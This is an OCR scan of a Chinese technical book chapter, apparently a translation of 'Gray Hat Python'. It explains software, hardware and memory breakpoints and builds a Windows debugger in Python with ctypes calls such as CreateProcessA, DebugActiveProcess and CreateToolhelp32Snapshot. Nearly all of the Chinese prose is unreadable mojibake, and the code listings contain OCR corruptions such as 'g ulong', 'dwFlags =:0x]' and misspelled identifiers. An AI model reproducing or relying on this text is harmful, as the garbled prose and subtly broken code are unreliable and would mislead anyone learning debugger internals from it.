FE VRN AR e i J B FH bk 2R 2 . Bk st S i B L — A T K IR S, %52
H’fﬁﬁﬁﬁtﬂﬁ’]ﬁmﬂtﬁﬁﬁ'ﬂﬁﬂﬁ&r’rU&ﬂﬁ?&ﬁm%ﬂ’J}r """ TAEERBIRE. O T BRI
SRR SEBR B, PR ENE T R — F7E x86 {45, —FKIBSM—MERMEMMXH.

IC4tE4 2 CPU W LLRBIMBAT KR & M —FhE R RIEX, RATRZABERF, F
45t — AR R B 1

MOV EAX, EBX

X %F54 %k CPU # & /748 EBX H A3 & A7 8% EAX F. dEH T H, A2 ?
R CPU FHAREEFZRAXFERMNIES, EHeTERFE BRI Z B BRIES R R
7. BtESE# AR Opecode, A f& CPU HIE ] UG SHATHNIESES . A X — 4,
RATIEZ BT 2 ¥4 A x86 FREE T (3 4ERS"

8BC3

IERAT WL, XFR RS AN R, PRAR EE i B fE S 4008 IEAF R A et A 301, B
IXHL A CPU BT IR S . IRAT LAEIC 4645 4 it CPU ) DNS k%28 . 14T 2 (34)
AR BIAT I @2 @ TRBFEZ, BFMR A0S RS R LR RPE X (P #h
hb) o ZEVRE H AR TAE IR 2D & EHAE F B8R VERD, {H2 AT %o 28 At S BT o5 P10 SR Jir 2
REE,

BRIEA Z ATHe 420 T W e bk 0x44332211 o, — A8 RAFER AR F:

0x44332211: 8BC3 MOV EAX, EBX

1o BEEE: FOCPER RIS D —iR T . 152 MBS E k. HREmmREL.
18




F 2 F ARXBREAET

XHPAE TS, RO BRENRLL AR MIES. I T EX bk E—
AR, LA CPU ST Rt AR I REAEE 1EHAT, FAT TR ZM AT K R 4ETS 8BC3
ot —AFA . MRATE A TR LN INT3 eSS, XM ESK SR CPU
BHEHAT M4 RT AR . INT3 54 BREN L — DR E{E 0xCC. R LANIA &I S N
B, Ty R ERD AR B B WS AT S TR AR RS .

W R R Z AT A9 IR(ERD

0x44332211: 8BC3 MOV EAX, EBX

W E R R 2 f5 B IR(ERD

0x44332211: Cocs MOV EAX, EBX

YRu] LLE BIFRATT & e NFR A HR RS e <7775 8B JFHF#41 cC BUffz . 24 CPU —
BEBAT RN BEALIF “fbiE” BIIXASFAE, CPU BRI Zfik &2 —/> INT3 W34, 14Tk
1T R B e AL 38 PES 1 N B Th e 282 A 3R R b B AN F0 4, (B BESR
FATH) B s R v B A4S, BRI SEBiX — Vs SR E HE).
LFRB B E T EARL AN AE BB AR, RS BRI TIX A
etk B SE— AR AR ARG EN S SR b . BEHERRIEFT cC BEAIA
AAEbEE BT . 24 CPU IR BEPATERAERS CC i, #ph &k —/NWr 34, sRBE A IRR N
INT3 FiF, MRS R AN I . BE SR EHRSEE (BIP 47788 £
BIEFR A — AT IRA B E T WS N Fhal,  dn SIS Hhk 25 838 2% P 30 1) b s 1) 3
PEEERE], BAWRESRZ AN RIS P N e bk, XRE, Mot ab Rk
BPATIE, IEFRTE2BEMR AT . B 2-3 V4t 7 X4~ .

IEPRET L, P28 4 T SEBLER T s MLSln 2k 7 — 3 B 4. 05 VRnT DL 58 b by
Rl —IRVEWT SRR APEWT AT . —IRPEWT SRR — BT S, R AN T
FIRP MR . [EWHLZ BRI, CERT - RMERHE, 11K AN Sk
CPU AT e [RSE M HR 2 #AE 0 JE M 52, P LAZE T 25081 3 o %o T 12 B 55 P 80008 T 47 3
"HE.

SR, FEE BRI 8 B R — A ARTE N AR S AT AT AR () A 2
B, SEhr EARERN S T XANZEITR PRI TR KR (CRC). CRC KM T
KRB ZRNAEM NS, XS N TR, NE. XK. MgsE
BREEMTFEREHEEXM S E . CRC LR IEE— & V8 FH A i EdE—E X 4+
FR BT DY, A O A A TR R B N AF MR —— T L — MRS . RS T X R
ISR A 22N CRC RS RG34 b e 3 AT LA 0 by tH 30 e 75 A A i el » o S 85 SR i e
K5 ENRREAR, BABRINKZN CRC B KM . fEHFEEFEMN AR

19




Python & 8 F——2 & 5 i# &) T42Jf & Python % F2 X il

AEEERMEESRN H AN ZETAR R CRC BKHE, — HAM KW 21T
“HERT W, B R KB BT AR A B, IR AT DL A AT R AT
R HEAT B 2553 i AR Fi 6 3 1) ()2

i 471 3%
P 77 4 4

0x44332211

O Fid S E DT NG

04433"211 — W 1l i -
e ® JorcBrmamNa

N
XL

CPU (EIP) —= 6#44332111:38!:3 MOV EAX, EBX

© Zcruf *aﬂﬁa ﬂ
F Ry %

Bl 2-3 BT SR R

242 EHEIS

W AER T UL R HE: 240 AW S B0 a6 2 AR, EF LRI
maﬁmmrﬁwmmc&%m&ﬂ@mm X AP AR i) B R A T CcPU L
) — R BRI B AR 28 R SCIL A, BATRRIL L X F 7788, — /MY CPU N 247 8 Nl
XA 7 4F (4 472% DRO 2| DR7) 4% T 3% B M BRAE1F 07 v . X %5 7728 DRO % DR3
FFA A BT R M7 1A A7 ik o 3 RECORAE 70 AE RS I 20k 55 2 L RB AR 4 AN 25
217 #v DR4 A1 DRS (R B . %577 4% DR6 AR AEF /A2, XNFERICET L
R W R fh A B 72 (R R S RS B . VAR AT A7 2% DR7 SL b R R I o4 (8 I 2%,
() B S A7 A 25 A BT S PR ik A 4 45 6L . T ¥ DR7 4788 A s s, Rar ik
W7 R VLS LA JU R i 2 454 -
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% 2% AR EREART

o LT — ANz Ak b R4 44 BT I Ak A T

o YR T N —ANEFE WA Rk ik 5 i A

o MBI EAN CREIFRAT) —MRE AR AT P3 A7 ik i A A b7 5

BT AR R SRS, URAENE B 4 AN A kA 2 A ) W T OE R 0 IEAE IS AT IR i
MBI B . B 2-4 [AfR )RR T DR7 A A7 a8 &S W7 AT 8 . W sl i 1 K
AT A BT LE ) A7 H BR8] R R R SG R

DR7 #F {7 4% ) 0~7 AL GE W7 2L IF K, 0~7 £ B L 380 G 843 53 % 2 3 78
Wi AR W . EE 2-4 PARATDVE BIXHE AN EOEHRER 1. Ak ERE
HAER s AW o THE. MIBBAMALK, EH &0 P XL 8 A
KA AT 1) . DRT #4743 (0 8~ 15 A2 AE A T30 A L 72, /R w7 BLZ % Intel x86
F SR B 3% 47 (1) 33— 2 B . DR7 (9 16~31 fr ke T A KR % 7728 b 1% b
PRI E K.

DRTFFa MR

len | Type Type | len

DR | DR | DR | DR | OR DR | DR
0 | 1 1| 2 3| 3
|

161718 19|20 21|22 23|24 25 28 29|30 31

olo 0 | 00 | 00

0%44332211

] 00 | Q0

Ox55667788

Bl 2-4 DR7 F{r#% b5 A0bRiC W fa] g 52 A7 50 M 5 fr 2 Y




Python & #8 F+——2 & 51 &) 42 JF 4§ Python A2 Z il

=k Rl S ACE PRI

00 — TS 00 — 1 #%
01 — HEBANIA 01 —2 % (WORD)

11 — SRS (BIERTNF A 11 —4 ¥% (DWORD)
¥l 2-4 DR7 #5475 EBCE AOFRIC i ] P58 B oW KRR (BE)

S8 AAER INT3 b A FE, AR 1| S8 (INT1D. INT1 354
TR CET s f b iE . b — D R R R P AT 18— 4454, XFE R L
B A 20 R A S B (AR B UL B2 7 1 30 1) AH 5% 1 25000 AR Lk 1

BB BT i P A6 P 7 S R T s 2L, R LSRRI BY T 58 0 2 BB F 45 P . 7
CPU B PAT —FA52 20T, HESR A 4aTiE 2 P bl 2 &8 8 T A 240 ity
kL BRIEZ AN CPU B4R AT 48 & B0 B0 T3 8 7 0440 2500 o A7 ik
Eo a5 LLE ¥ N A7 HuhE 4 77 66 46 DRO-DR3 AR I — MR F A2 88, IF Bl 22 At Bt
BOE . BEEPATERM, A CPU BEHHMA —AN INTI 34, 0 A 561 i 77 Hahil
HERAFEEAET— NIRRT A8, CPU fEHAT 524 AT IR 2 G4k iT F— 4454
3t HRIREREAT 7 sk, AR IR

TEfFWT A ThRE 4 am K, (BRENIFAE LpHl. BTHEEENZIBRE LERE 44
W X — PR Z A, IR 2 HLAEXT 4 N FIK IO EE BB . URARER . — KRN AR
i S oL, SRR R RENE R T . b TEFFIXABRE], R E AR 1R 828 S
A A7 BT

243 HNEEHS

A AF T R A AR FCE M e 29— AR RE — A N T A, A8 SR 1
P /2 2 2e — N A AF X RER — N A AE T U ) AURR . 1A A7 TR B E R 45 T LA— Ik b B 11
BNAAFE. BARRGRNE WA, F XA A7 TTRE U B, %A R
FE T IXAWAF T ] B9 e BLR A& LSRR A A7 50 i) A B 1 481
o GUATHRAT: RFZEREIAT SRR, (2R E RS XA T SBEE LN
AR S

o AT BERRREAXA AT EEICEEE: AT T4 BB AN SR R AT AR R 4
e FEAREAFIRIERH

o NAE: RFHBEAEXNNFIL EEAEEE;

o GRIIL: PRI TUEFIRE MV K B RMERE, ZEXIMRERSRE T
[IENEINA
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2% AXBREAKT

KEHBREREAFRAESAF RV o, FRaT LOKEREAS P A7 0T B o s -~
BUBR, TR A — A WAE TURCE MBI TA R . A RIE RAE A B OO A 77 ik ARe]
DAY #1229 A1 PN A7 P N A A7 T B U ) BB R B e TR T B . B 2-5 MR
R T AR A7 U7 il BUBR T ) B0 5 1) 77 5K

Hop, BRATEEIGER M — TR F7 T U5 R AR R R . X R AR (K N 7 L A — i
BEdEEAH, WnHTFRE W7 M 7, FHTHRE-DAFRAMKALSE N
W—PUEih s R TR PR AT AR R Bh AT S B N A7 067 s L. RUR e, 4
PR I — M B KR A A A, BRATTAT UL BERR AT . 25001, 3T MR
% 28 N FE Pl A — N X T % 1 AE 68 A & BB R B, 23T
JEHEAT I ) AR, AT LA SR A A7 DX 1 T A A T A XA AT T LA K BT X A
FHFE AT it LA B T 4k 3 W0 B B BB A I 2%, BRI AT e T3 B DX 35 9 10 A A7 1 1) 2
SH CPU HFHAT L ATHEFE I A R — MR LUK 5 . SR UG BATTHE BT AR U ) B 42 e
X e 2B T A, JFREHE N R B E X PN A . F X R
W7 A R [ FE AT LA B T o B I O ) 4 4 B B, BRDOR R AN B X E AT ARG AE 1
AR 3

FRCER AT LR,
BB MBS IGT.

; e R w
{ AfF LK. ST 010101010110101001010101010010110101010101001

. 010101010110101001010101010010110101010101001 C,

AR AT AIE
BEAXRE—ITREF

o RiPFw

B 2-5  A[RIA P A7 T R BURR (KA T ok

FIHATCA LI, BAIEL1He T —24 K48 0 TAE R 2 LU RRAB[ T S 8ERS
A H WAL, BAERE Python SKELHNE — MR EIOALBF R T . HATHEE
Fi G Windows V-6 F I £ 08435, 7RFE2HBZRT# 204K ctypes FIAE A
MEREAERRR. JTEEES)— FREFHET!




 CHAPTER _
3

¥ 3EF wWiEBCDH Windows AiX 8

EFZ2FPHERMNABAGGH T —RARNAKXSARLRLTER, AEEZRA LS
SEAAEGET . AFERF BRI AT F 0 653230 fo 0038 F AL — A B RER A
Python X & . MK AN £IKA1FF L Windows AL EHE, HFERST —HHEZR X
PR BB RDIFEAAR LR FRIELLFHRITAIG Z4E, MAFFRNFHEG L
Python X & £ R X428 L EA R T X — 20 R3304 447 A F I, HATHELE B 31X 2k
ik B MR — AT, B INE B G 6E, EA N2 FRHT, HIEAF P69 Python
BAXFHEET B —HREFHFRMXBE—PyDbg #9FEI (AR5 THFLF),
B A 0 i A Y ) B AR AR R AL EE IR 3] Pedram Amini 69 X4E, Tkt PyDbg &
B @ Windows -F & T £ IR A T4 @ 74 69 4L Python AKX B . /£ Pedram A A& X IR edE T,
AR TALE ST P24 Aot B 28X 8 iR 525 PyDbg #9488 L&,

3.1 Debugee, H[n] {5 ] kb

BT AR AR SRR, R S H AR R S R 8% 2 e 37 S b K 1 K
R MU, FRATEDAG A i35 Y G R R A A RE S $THF— AN AT AT ST IR
VLB & FRMERSITERMEE S, UUEKIN— AR/ . FI202 Windows
B AR API 2 A RATR4E T SCIX A Ih e 4R .

bR R T8RS G IR AR, Al N2 R S5 BN 2] — A 1)
PATHERE, XPHE 2GS LMmmER. Qg e Fti e T IREwEAs
H bR MR A LSBT RS 2 RHE A A S, X B bR s i 8 A4 & R R
— WA SRR EETF. MX—S8 FEERES KNG EaRaE XEE.
M REE N AR RREAN T — M E LSRN EFHREZ B, FHXFHFXERERS
AT e AR L T R FERIEA T A AR, AR AR BRI A A O F AR R E R T




% 3% Mk a ey Windows HK B

() TF KA EE o AR 40 U X0 B LA B b BRI R, PRI 0 B Gk — R oA 618 1 7 Ko

R 3 R 1 58— Fbh oy s A Bk 2 TR 28 B B RS P IT R — A28 Tt &
Windows R & F & ANFrt#2 (1 T 48 n] LAZE 1 i 3 CreateProcessA( ) K5k, R AT AE
B NIXAS AP RSO B Y, SA Rt ey B& “nl " et
CreateProcess A1 e £ R 1 F s

BOOL WINAPI CreateProcessA(
LPCSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL blnheritHandles,
DWORD dwCreationFlags,
LPVOID IpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO IpStartuplInfo,
LPPROCESS_INFORMATION lpProcessInformation

i
RV, RS AIXAS API R ¥ H &M, AR “amie” BEEHFA

ASCBR T4 5 P A ) TR A, A T ) ) L A AT AR R AT 123 AR B L /N R —
R, XA B T RATE RIS B XERBATR RN LA BT E B S A7
76 H R 25 014 0 ) : 2 %8 pApplicationName . JpCommandLine . dwCreationFlags .
IpStartupInfo 12 %] lmeccqunformation, HARMZSHAE A ¥ E 5 NULL fHED AT . g
PR JE T AR APt — G A LL 2252 (1) 287, MSDN (Microsoft Developer Network) SCR§H 0
L RVRIG BT 224k, URPTLAMA R4 H h 3B XA R B VR R . R B kN2
£ IpApplicationName H1 lpCommandLine 7% H] T & & o $AT XA I TERR A4S, LA
TR I 21T 288 F ORI A~Z 8 dwCreationFlags | 1E 2 A1 5 A RThRERT IR ],
WA E MR E O EUE, Bt R g 3 B T R, BEREAS
MW APFRANARBR M EWAE CEAT 0 K 4 ¥ 4k STARINFO “ fil & #) 1k
PROCESS_INFORMATION ") #&5t, IXPHA~ &5k b i s 20 5 T4 g R 6 5 3 Jr L
Fod st R e Th JE 3 2 Ja A R EE B .

BLAEGIEE BN HT ) Python BIASCH:, 4r5ldr4a 4 my_debuggerpy H1 my_debugger_

(1) # i, MSDN CreateProcess B #{(http://msdn2.microsoft.com/en-us/library/ms682425.aspx).
(2 £ MSDN £5§J{& STARUPINFO (http://msdn2.microsoft.com/en-us/library/ms686331.aspx) -
@ Z W MSDN £5kJ{& PROCESS_INFORMATION (http://msdn2.microsoft.com/en-us684873.aspx)
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Python & 18 F——%2 % 5 i# &) T#2)F &) Python A2 i

defines.py. FATHAIE — M OES debugger(), FFAEJEEE 5 R & 4 n) iIX S B 2R
& WKThRE. A T T4, R AgeE, e 4w {E e SUBCE T AT
4 my_debugger_defines.py 2 4.

my_debugger_defines.py’

from ctypes import *

# B ctype ZROBFHFESQT R LMAMNES, AT LEARERT win32 MK
WORD = c¢_ushort

DWORD =g ulong

LPBYTE POINTER (c_ubyte)

LPTSTR = POINTER (c_char)

HANDLE = ‘c.yoid p

# HEEX
DEBUG_PROCESS = 0x00000001
CREATE_NEW_CONSOLE = 0x00000010

# BN ¥ createProcessA () B E5 M4k
class STARTUPINFO (Structure):
_fields_ = [
(o, DWORD) ,
("lpReserved"”, LPTSTR]
("1pDesktop", LPTSTR) ,
{*1pTitle", LPTSTR) ,
("dwX", DWORD) ,
{"dw¥", DWORD) ,
("dwXSize", DWORD) ,
("dw¥Size", DWORD) ,
("dwXCountChars", DWORD),
{"dwYCountChars", DWORD),
("dwFillAttribute",DWORD) ,
("dwFlags", DWORD) ,
{ "wShowWindow", WORD) ,
("cbReserved2", WORD) ,
("1lpReserveda", LPBYTE) ,
(*hstdinput”, HANDLE) ,
("hstdOutput®, HANDLE) ,
{"hStdError", HANDLE) ,
]

class PROCESS_INFORMATION (Structure):

L. B#VE: Python AEBRIER, MAMERENT RN T A EE Mk S EE, ABLR
WA g — DLl AR,
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_fields_ = [
("hProcess", HANDLE) ,
("hThread”, HANDLE) ,
("dwProcessId", DWORD),
(*dwThreadId", DWORD),
]

my_debugger.py

from ctypes import *
from my_debugger_defines import *

kernel32 = windll.kernel3?2

class debugger():
def  init  (self):
pass

def load(self,path_to_exe):

# B¥ dwCreationFlags PHIMREM IR EOIER TR, RERHE
# BEIERAEEEM S - MHEREE D, AR SRR

# F—A&HE, RaTbln EAR& AL CREATE_NEW_CONSOLE
creation_flags = DEBUG_PROCESS

# SEBILZ T E LAY S A
startupinfo = STARTUPINFO()
process_information = PROCESS_INFORMATION ()

# ELATFAARAERMILFEER T, Hassse— 59

# MEEDEER, VR0 RUEN B 45 H & STARTUPINFO 9%
# RAAEEMECRES debugee HEMIITH.
startupinfo.dwFlags =:0x]
startupinfo.wShowWindow = 0x0

$ BESHE STARTUPINFO HI R R4 &t
# cb WIME, FUFRFREMEER RN

startupinfo.cbh = sizeof (startupinfo)

if kernel3Z.CreateProcessA(path to_exe,
None,
creation_£flags,
None,
None,
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byref (startupinfo),
byref (process_information)) :

print "[*] We have successfully launched the process!"
print "[*] PID: %d" % process_information.dwProcessId

else:
print "[*] Error: 0x%08x." % kernel32.GetLastError()

FnaRATRA R — N S R #, CLE R — VIR B SO IRz B . R4
XA A SO 4 8 my_test.py, FRF L SILA B URRS S BT ARG HSRE F .

my_test.py
import my_debugger

debugger = my_debugger.debugger ()

debugger.load("C: \\WINDOWS\\system32\\calc.exe")

Fo i3 4 £+ Windows H A (R FL28 FE ¥ calc.exe 1E RN BATHIRXT B, FRa]
PLIE I i 24T 2 i 5L A Y AT ) IDE BRBE R HATIXAS A SO, AT FF2 0 VR BN %654k,
—ANEFH AR PR, AR A KRR AR AT (PID) £ B2 JE B AT . 4R
H ATRIE A B v A0 GUI e E BB, XAEE A FA 00 5L 28 FE P b % fig sk
3 AT HE GUI FF 22 e R E A RIS SRR T, 76 VR 3% B AC & Hh 4k 430 4T 1 B
WETE AT, VF SR PT BRSO e e i 5 7E U W i A . B AT X — 884> ThREIZ 11
RS AR ERM A A PSR, BERAMNS BRSSPI R 58 F R 249 %6 fn ey 61 2

AR SFEREE T T, T iIRATE BB B2 AT R A 5 R i
RS X E——M il E M A #HE.

AT EHERR LSS, RIMNEAETERZNE -Mem SR a8 AWM. 7
AT IR A B K2 8 API RS E R AN — N 3R /R 1E y 38 H 2
B SCHMEBRAMAFahEZ AT, & Fcilad A Re (8 R 2] 72 75 86 88 A 3 vy 1) B AR 0 th 2
— M RERgEE M. SREGEFE QIR TYERT LAAZH API B3 OpenProcess() K 5c i, iX
A R E Eh B AR kernel32.d11 T, JOAH N ¥ R BURBL 0 F BrR

HANDLE WINAPI OpenProcess (

DWORD dwDesiredAccess,
BOOL bInheritHandle,

O £ W. MSDN OpenProcess PR (http://msdn2.microsoft.com/en-us/library/ms684320.aspx)..
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DWORD dwProcessId
)i
2% dwDesiredAccess Fil T FRBATTIETE [7) H AR x0T R R B — TP 6 5 il AR .
F T W ERMGERT R, BRMNTEEHXANSHAMHEE N PROCESS_ALL_ACCESS.
¥ bInheritHandle H48 A1 2 /1 A FH g B 24 B2 4 ¥ B A False, 112 % dwProcessId E W11
WA M BT R R R, AR AE RS0 PID . XA R ERIIAT, FR[F]—
A8 ) B bR EERER B R .
FAEBY 5 /> API ¢f $ DebugActiveProcess() K SEHLIEFE (1) BN, AHR ) el 2 80 an

BOOL WINAPI DebugActiveProcess |
DWORD dwProcessId

):

W FHX A BRSO M — TSR B2 FRAT T F SR ZE B n_ LA FE ) PID 1B, FR3LAE R
SHAEN . — BEAE RGHE AT L9 AU RR M N BiX A 2ERE 2 b, Hbrid &%)
B ey PHAE B 8 BRIk (2T SRHFE) Sy T Mx) & Fh it
TR, PRI R B 5 EIBUE SRR3R RS A HE DR
ZE ¥ v A M7 3k i FH eR 20 WaitForDebugEvent() B A — 57 AR ks & A= 7F B PritFE b 6938

RS . IR R F.
BOOL WINAPI WaitForDebugEvent (
LPDEBUG_EVENT lpDebugEvent,
DWORD dwMilliseconds
)i
EoRERBI S SR N HIRSRER, SURA 45 E DEBUG_EVENT i T4
R BRI . B ASE dwMilliseconds W) F R 4465 F— N34 24
Rt fa] BB, BRATHXNSEEE R E A INFINITE, XEWERIEARRKFHRE, T
R B0 H WaitForDebugEvent()# A~ 23 [7] .
ST — YA R F A, P RRAE R AT H 55 Z A SCIR ) A A R )R e A= £
&, 7ERCEGIRETEMXKMIFHFERFE LA, BAFER HIRERKE 2 R ERRAT
KA, XUt 54 API f % ContinueDebugEvent " 3 # B SCHL,  of ) i B 4
B

(D # . MSDN DebugActiveProcess Bf ¥{(http://msdn2.microsoft.com/en-us/library/ms679295.aspx).
@ # . MSDN WaitForDebugEvent % (http://msdn2.microsoft.com/en-us/library/ms681423.aspx)..

@ # W. MSDN DEBUG_EVENT #5#4(http://msdn2.microsoft.com/en-us/library/ms679308.aspx)..

@ % . MSDN ContinueDebugEvent £ #{(http://msdn2.microsoft.com/en-us/library/ms679285.aspx).

29
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BOOL WINAPI ContinueDebugEvent (
DWORD dwProcessId,
DWORD dwThreadId,
DWORD dwContinueStatus

Y

kA28 dwProcessld 55 dwThreadld fIHUE A LLKIE T 45414 DEBUG_EVENT
PN [R] 44 [k R AR B, T A P A B 3 2R R () O 2 A TR 48 4l 2K S ) I Te) 6 T 2 8L
F1—# 4 ma BT H . 28 dwContinueStatus [FJHUECK g g HbrEREM F—PDahfE: 4k
AT (Z¥{EHH DBG_CONTINUE), it EZkLEAE Friik s 5 H (2H8EN
DBG_EXECEPTION_NOT_HANDLED).

BLAETRATTME 38 A ST h e 2 1 VA iR 28 RE 98 5 W gt i o |, Al VA API B
¥ DebugActiveProcessStop() "X Wil T fig B 7] 79 LU FASE ], VR AT 7 M IR R FH Y
25 B R R ) PID (L AE A ME— 2 5te A BT,

PR AE J2& IS 15 8 2 /0 8 B I & T Dh BE R — KBS, IRATTVKE 6 2 i A 42 0 1 3k 286
my_debugger Z Y RE, VIEI SRR NS R 8 8E, LA GIE — N EEFE IR %
ANEIRE S . G BATE R — DY NAF RS T ER . BRATITR
A AF my_debugger.py FHHiALL .

B AAFTPHANMALHMEK, BREAURAFTEAELK LA —HATLE my_
debugger_defines.py BpA X4 Z P, ARTAMAE ARG E F (A hitp://www.nostarch.
com/ghpythonhtm TF# ) &I XL, A THE AR TREAAYKRA, HEHRMNBER
ERBAEATE MK, BOKARFTEMEA XN M, AAGCESTEREARAT .

my_debugger.py

from ctypes import *
from my_debugger_defines import *

kernel32 = windll.kernel32
class debugger|():
def __init__ (self):
self.h_process = None

self.pid = None
self.debugger_active = False

© # W MSDN DebugActiveProcessStop F’!EIﬁ(hltp:.r’.’msdnll.miu::rl:)50f'l.c:c:)m;"en.—usﬂibra.ry!mslfi-'."‘)Z96.a::;px)0
30
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def load(self,path_to_exe):

print "[*] We have successfully launched the process!"”
print "[*] PID: %d" % process_information.dwProcessId

# R MR FTRBERN A R, Bt
# JEEEREERE V) R B e
self.h_process = self.open_process(process_infomation.dwPro-

cesslid)

open_process (self,pid):

h_process = kernel32.OpenProcess (PROCESS_ALL_ACCESS, False,pid)
return h_process

attach(self,pid) :

self.h _process = self.open_process (pid)

# REMINE HbREERE, B MmERE R ITE S
# PonfE BAEIRM
if kernel32.DebugActiveProcess(pid):
self.debugger_active = True
self.pid = int(pid)
self.run()
else:
print "[*] Unable to attach to the process.”

run(self):
4 BIEIRAT S R 4L debugee BEFE
# MRS

while self.debugger active == True:
self.get_debug event()

get_debug_event (self) :

debug_event = DEBUG_EVENT ()
continue_status= DBG_CONTINUE

if kernel32.WaitForDebugEvent (byref (debug_event) , INFINITE) :
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# HATRALE R S5 H B X DhREE

# X RIRAT) R Rt S AT H bt iR

raw_input ("press a key to continue...")

self.debugger_active = False

kernel32.ContinueDebugEvent ( \
debug_event .dwProcessId, \
debug_event .dwThreadId, \
continue_status )

def detach(self):

if kernel32.DebugActiveProcessStop(self.pid):
print "[*] Finished debugging. Exiting...”
return True

else:
print "There was an error"
return False

HRAEXS FAT) 2 Ao A AR sl , A DA R X AR HE SR b i B i A Th e

my_test.py
import my_debugger

debugger = my_debugger.debugger ()
pid = raw_input ("Enter the PID of the process to attach to: ")
debugger .attach (int (pid) )

debugger .detach ()

FATHI AL RN T
1. EFHHKXEDETIHAERFI R4S
2. Al Windows T HE:, fF3H Sk F4ES R,
3. IEFFHRIEIE,
4. EVRAREACHEFLIETL R rh R BBRIHA PID (A, EHFEER XL DEREN,;
5. WHRHEBFRF (PID) HikHEpiikd, J#d OK $#:4;
6. R 5 calc.exe MM PID 18
7. PATHASAF my_test.py, FHFFAIRTE E— DB IR PID {4
I HI S B L I Press a key to Continue... [FEFER, RATCLASE SiHE 20
GUI FIHEATAR R, RIRE RIATT X8 s R i) i e AL B RN, X2
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R4 i T A R A T HERR S, IF OB R B4R EEAT IR 7~

9. {EFRI Python #H|& & NPT ER, MWARFN YSEmEH —4&HEZER
AT

10. BRAEAR N 4 0] BLIA] o S AR FE 7 1 JGUl%Lfliiﬁﬁﬁiﬁ'rmﬁir_]’n

MR VR AT AP RS LR A A, R APRET LA A SO my_
debugger.py 4 LU BTG :*’H‘?T:

# raw_input("press a key to continue..."
# self.debugger_active = False

B H #08 1E3ATTE B Python AR VI RMMLT , IR 20— S 5L A () 14 52
e, ARG R A KM ERAEAT B 1A%, 1 3R TRE X — A48 B R 2 1 S8 = 4
R HEREAT A

3.2 KM FdIRES B

ik A 1R VR a8 T LAZEAE R 5 I 2 Bl B o AT TRIAL T CPU a7 7 881K

AGER. XHEDTROESE R AENEG S HEBERE, UL i S FERIEER
FACRSALE, oA HAh R ASEMEMNE S . FEFERRZIERERINFTER CPU RS
fm S TR & 1, B/ REMHCH A Fa85 BT, HAeREHMBIIOREN
B —HAIZITAE debugee HEFE N IPATERFLE . 10 $5 703X AN L T2 18 A A 7T LA A H BR 3K
OpenThread() >KEXTF, XA R BB WF Fios:

HANDLE WINAPI OpenThread (
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwThreadId

B

OpenThread 5 Z A $& 2 ) 55— R 1 OpenProcess 7E4T 0 -+l RALXRE,
I NI B JG — N BECH LSRR (TID), fdE— N BRiRe.

PRI T3 B hrit R P O F A BRREE L, RNGEERLL T RIS SR,
P iﬂk#‘l‘-lb(?*} ARSI R, ZANVNRNZES T BRI -ANITERE, BEER
T 3G H AR 500 SR R AIRAN R AR, 05 )5 B ATT3 i ] R 8 OpenThread B 2 £k F2
fJE. AEIRAMTRIEF — F T R4 4 # .

(D # L. MSDN OpenThread ¢ ${{(http://msdn2.microsoft.com/en-us/library/ms684335.aspx) .
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3.2.1 %N

R MNEREPEIEMPAT R, BIME AN R 7 I AR R AR () 2 08 P R it
TR, A EEXANEFREE R D —NERE—EBIFriEm L. AT LA B E
API K% CreateToolhelp32SnapShot() ¥ SEER R FEMAS#1F, XA 13 AR FE kernel32.d11
FHEPRBThEE IR, CREMBBAGRIUNEZEF A REAEFER. REPH
RREHER. BONMAR BRI (DLLs) 5%, LUIRFEASRERTREMEY| %,
oR E5 1 JR B 4 R B

HANDLE WINAPI CreateToolhelp32Snapshot (

DWORD dwFlags,
DWORD th32ProcessID

);

Z ¥ dwFlags H T & J1X A~ s B AT AR RO (5 B O D)6 R CRE SR,
YR, BRINKEREHEZIR) . HEXNSHAIE N TH32CS_SNAPTHREAD CXf 1V f)
{4 0x00000004), BJF7RFA]A HIKDGEM S0 RERBAS L P HFALEGFR. 3
¥ th32ProcessID 4— M #FE ID {8, FT & 50 ek BNz 0 i — N B FE 0 S E P i . 4R
X2 HUE 2 76 2 3 dwFlags & TH32CS_SNAPMODULE.TH32CS_SNAPMODU-
LE32., TH32CS_ SNAPHEAPLIST LA f TH32CS_SNAPALL iX PUFp {55 F R A 52 X .
XA R B A BRAVRME G B A LS K th32ProcessID HUH, KR
MM E BITE AT LR IF %k . % 5R 2L CreateToolHelp32Snapshot()$0 4T i 2h, #4i& [A] —
A5 ) PR BN SR AR, BRATTRE A B 5 42 10— AR 51 ek R FH A PR R 0 5 o gk — 5 4R
5 &

-HEAMRBE ARG RELETIR, H T At —FiE i 5T B iRt A X
BRI, BATHEMASZIANLESIER, A TR L A e 3L Thread32First() >4 H ¥4
BESREAE L, X RER B FRR:

BOOL WINAPI Thread32First (

HANDLE hSnapshot,

LPTHREADENTRY32 lpte
)i

Z % hSnapshot FHUE KI5 T 55 70 A% 8 208 H] Create Toolhelp32Snapshot() BT iR [F] (] 1)

(O 2 L MSDN CreateToolhelp32Snapshot £ #{(http://msdn2.microsoft.com/en-us/library/ms682489.aspx) .
@ £ . MSDN Thread32First & ${(http://msdn2.microsoft.com/en-us/library/ms686728.aspx) »
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Wifl, TZ% Ipte LA 1A 45 H)4& THREADENTRY32 (K48, X454 4 i) Bl
N AR E R EOR P B Sl , ERXA AP ESERFEINENERENHXGER. &4
& THREADENTRY32 (152 3 i F fy 7 -

typedef struct THREADENTRY32{
DWORD dwSize;
DWORD cntUsage;
DWORD th32ThreadlID;
DWORD th320wnerProcessID;
LONG tpBasePri;
LONG tpDeltaPri;
DWORD dwFlags;
Yi

BATTHI KX RAR T XA AR ) =4 FB, el A2 dwSize. th32ThreadID
FIE B th320wnerProcessID. 1 26 4E VA H 66 %t Thread32First().Z 7 w5 i {8 ik 2 A B dwSize
W EM B Ak, AT u&mt&%mumﬁ» THREADENTRY32 Z# 5 ) A /NI AT,
th32ThreadID Jj >4 AT MAS B (9 IR ERFE M TID 8, RATTLLES XN FROEERD—NE
MV LFERRRTF “ME” 25 2 A4 & () API R % OpenThread(), A1 HU#3AH LY. i £ F2 A 4 .

F Bt th320wnerProcessID Jj—> PID {8, MIEATAT LA 51 4 5T B2 B &R 5 3eis T4
B—NHEET. ATHRBZEITEERERTHRAEE, RMNFEEE -MHESPESH
Xt Bt th320wnerProcessID 5 HFr#tF2 () PID {8, J+ M A ik th AR HAF 5 2 AHUCAC 2672,
